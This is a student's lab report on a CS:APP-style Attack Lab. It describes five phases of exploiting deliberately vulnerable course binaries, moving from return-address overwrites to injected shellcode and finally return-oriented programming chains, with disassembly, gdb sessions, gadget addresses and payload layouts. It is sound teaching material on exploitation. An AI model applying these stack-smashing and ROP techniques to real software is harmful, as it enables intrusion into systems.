

# Attack Lab Report

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## 1 Target

Students will learn different ways that attackers can exploit security vulnerabilities, get a better understanding of how to write a program that is more secure, and get a deeper understanding of the stack and the x86-64 instructions.

## 2 Experimental Procedure & Principle

### Phase 1

#### Task

Get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test.

#### Idea

As shown in Figure 1, when <getbuf> returns, *rsp* will point at return address. So if a byte representation of the starting address of <touch1> positions here, the ret instruction at the end of code for <getbuf> will transfer control to <touch1>.




Figure 1-1

#### Method

First I checked the size of buffer so that I can know the length of the sequence I need to fill in. The instruction in Figure 1-2 shows that the buffersize is 0x18=24 bytes.

```

00000000004017db <getbuf>:
4017db: 48 83 ec 18      sub    $0x18,%rsp
4017df: 48 89 e7         mov    %rsp,%rdi
4017e2: e8 7e 02 00 00   callq 401a65 <Gets>
4017e7: b8 01 00 00 00   mov    $0x1,%eax
4017ec: 48 83 c4 18      add    $0x18,%rsp
4017f0: c3              retq

00000000004017f1 <touch1>:
4017f1: 48 83 ec 08      sub    $0x8,%rsp
4017f5: c7 05 1d 2d 20 00 01 movl   $0x1,0x202d1d(%rip) # 60451c <vlevel>
4017fc: 00 00 00
4017ff: bf 25 31 40 00   mov    $0x403125,%edi
401804: e8 c7 f4 ff ff   callq 400cd0 <puts@plt>
401809: bf 01 00 00 00   mov    $0x1,%edi
40180e: e8 97 04 00 00   callq 401caa <validate>
401813: bf 00 00 00 00   mov    $0x0,%edi
401818: e8 33 f6 ff ff   callq 400e50 <exit@plt>

```

Figure 1-2

Then I got the starting address of <touch1>, which is 0x4017f1. So I used 24 “00” to fill in the buffer, and replaced the returning address with the starting address of <touch1>. And I got passed!

## Phase 2

### Task

Get CTARGET to execute the code for <touch2> rather than returning to test, and pass the cookie as <touch2>'s argument.

### Idea

Function <touch2> needs a specific argument, so in order to pass this level some code must be injected. Because the first argument to a function is always passed in register *%rdi*, the instruction `movq cookie,%rdi` is necessary. And *rsp* needs to point at <touch2>'s starting address, so `pushq touch2_add` is also essential. These instructions can be injected in the buffer, so as long as we know the starting address of the buffer, we can let *%rsp* jump to the suitable position and execute the code we want.




Figure 2-1

## Method

First I translated the assembly instructions mentioned above into machine code. I wrote these instructions in 2.s and compile it to generate 2.o, then I used objdump to check 2.o and get the code.

```
2017011429@dell07:~$ objdump -d 2.o
2.o:      file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0:  48 c7 c7 2a e9 61 7d    mov     $0x7d61e92a,%rdi
7:  68 1d 18 40 00          pushq   $0x40181d
c:  c3                     retq
```

Figure 2-2

Function <getbuf> calls function <Gets> to create buffer, so I set a breakpoint after callq < Gets > so that I can print \$rsp and get its address, which is 0x5565a038.

```
(gdb) r -q
Starting program: /home/2017011429/ctarget -q
Cookie: 0x7d61e92a
Type string:0000000000

Breakpoint 1, getbuf () at buf.c:16
16      buf.c: Permission denied.
(gdb) disass
Dump of assembler code for function getbuf:
0x00000000004017db <+0>:      sub     $0x18,%rsp
0x00000000004017df <+4>:      mov     %rsp,%rdi
0x00000000004017e2 <+7>:      callq  0x401a65 <Gets>
=> 0x00000000004017e7 <+12>:     mov     $0x1,%eax
0x00000000004017ec <+17>:     add     $0x18,%rsp
0x00000000004017f0 <+21>:     retq
End of assembler dump.
(gdb) print $rsp
$1 = (void *) 0x5565a038
(gdb)
```

Figure 2-3

So finally the string includes 3 parts: the machine code I want to inject, "00" fulfilling the buffer, and the starting address of the buffer.

## Phase 3

### Task

Get CTARGET to execute the code for <touch3> rather than returning to test, and pass a special string as <touch3>'s argument.

### Idea

The idea is basically the same with phase 2. The biggest difference is that the cookie is an instance number so that we can operate it directly; while we cannot move a string into *rdi*. As a string is represented in C as a sequence of bytes, the sequence must be placed somewhere in the stack and the injected code must set register *%rdi* to the address of the string. However, <touch3> calls function <hexmatch> and <strncmp>, which will push data onto the stack and overwrite portions of memory that held the buffer. So the string must be placed outside the buffer.




Figure 3-1

## Method

First I calculated the address of `str_add`, which was

$$rsp + 32 = 0x5565a038 + 32 = 0x5565a058$$

Then I translated assembly instructions into machine code and got this:

```
3.o:      file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
  0:  48 c7 c7 58 a0 65 55    mov     $0x5565a058,%rdi
  7:  68 2e 19 40 00          pushq   $0x40192e
  c:  c3                     retq

2017011429@dell07:~$
```

Figure 3-2

So the string contains 4 parts: the machine code I want to inject, "00" fulfilling the buffer, the starting address of the buffer (38 a0 56 55 00 00 00 00), and the byte sequence representation of `<touch3>`'s argument.

## Phase 4

### Task

Repeat the attack of phase 2 on program `RTARGET` using gadgets from the gadget farm.

### Idea

This time the stack position is random, so it's impossible to get address of the stack. However some gadgets are provided in this phase and it's possible to build a chain of gadget execution to achieve the goal. For example, if the cookie is at the top of the stack, then it's possible to find instructions `popq %rax` and `movq %rax,%rdi`. So the chain of gadget execution is showed below:




Figure 4-1

It's clear that no specific address is used during the process.

### Method

Things to do are very simple: check the assembly code of `rtarget` and find necessary code.

`popq %rax` → 58; `ret` → c3; `movq %rax,%rdi` → 48 89 c7.

```
00000000004019e0 <getval_345>:
4019e0:    b8 48 89 c7 c3          mov     $0xc3c78948,%eax
4019e5:    c3                      retq

00000000004019e6 <addval_324>:
4019e6:    8d 87 fa 95 58 c3       lea     -0x3ca76a06(%rdi),%eax
4019ec:    c3                      retq

00000000004019ed <setval_453>:
```

Figure 4-2

So the address should be 0x4019e1 and 0x4019ea. And the struct of the string is clear now: 24 "00" to fulfill the stack, address of gadget1, cookie, address of gadget2 and starting address of function touch2.

## Phase 5

### Task

Repeat the attack of phase 3 on program `RTARGET` using gadgets from the gadget farm.

### Idea

First the string must be stored somewhere in the stack. Because I can't get specific information about the string's address, I have to know the relationship between the positions of the buffer and the string so that I could use `lea(%rdi,%rsi,1),%rax` to visit the address, and accordingly the last step should be `mov %rax,%rdi`. Then I need to find a chain of gadgets to connect `%rsp` and `%rdi`. Here's my solution:

`mov %rsp,%rax` → `mov %rax,%rdi`

And `%rsi` should store the distance between `%rsp` and the string. But I don't have `popq %rsi`, only `popq %rax` can be used. So I need to build another chain of gadgets to connect `%rsi` and `%rax`. Here's my chain:

`mov %eax,%ecx` → `mov %ecx,%edx` → `mov %edx,%esi`

Now I have the whole structure of the stack.

gadget1	mov %rsp, %rax
gadget2	mov %rax, %rdi
gadget3	popq %rax
dist	distance(0x48)
gadget4	mov %eax, %ecx
gadget5	mov %ecx, %edx
gadget6	mov %edx, %esi
gadget7	lea(%rdi, %rsi, 1), %rax
gadget8	mov %rax, %rdi
t3_add	
str	

Figure 5-1

There are 9 instructions between str and gadget2, so the distance is  $9 \times 8 = 0x48$  bytes.

### Method

First I checked the assembly code of rtarget and found necessary code.

```
mov %rsp, %rax → 48 89 e0; mov %rax, %rdi → 48 89 c7;
popq %rax → 58; mov %eax, %ecx → 89 c1; mov %ecx, %edx → 89 ca;
mov %edx, %esi → 89 d6; lea(%rdi, %rsi, 1), %rax → <add_xy>.
```

Then I wrote every address of these instructions into the exploit string, with 0x48, <touch3>'s starting address and the argument. That was enough to pass the final phase.

## 3 Difficulties & What I Learned

The major challenge is phase3—if phase 3 get passed then phase 5 is not that difficult. At first I was very confused because I need to put the string outside the stack, and I worried about that the string might cover some important data and cause errors. So I used gdb to check the memory usage<sup>i</sup> before and after calling <hexmatch> and made sure that the place where I put the string was not occupied.

When it's hard to make it clear that where the string should be placed, I just draw a stack to simulate what is happening, and this trick really helped me a lot.

After this experiment I had a better understanding of how x86-64 instructions are encoded, and I gained more experience with GDB and OBJDUMP.

## 4 Acknowledgement

Thank the teaching assistant for his experimental guidance!

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<sup>i</sup> [https://blog.csdn.net/small\\_prince\\_/article/details/80682060](https://blog.csdn.net/small_prince_/article/details/80682060)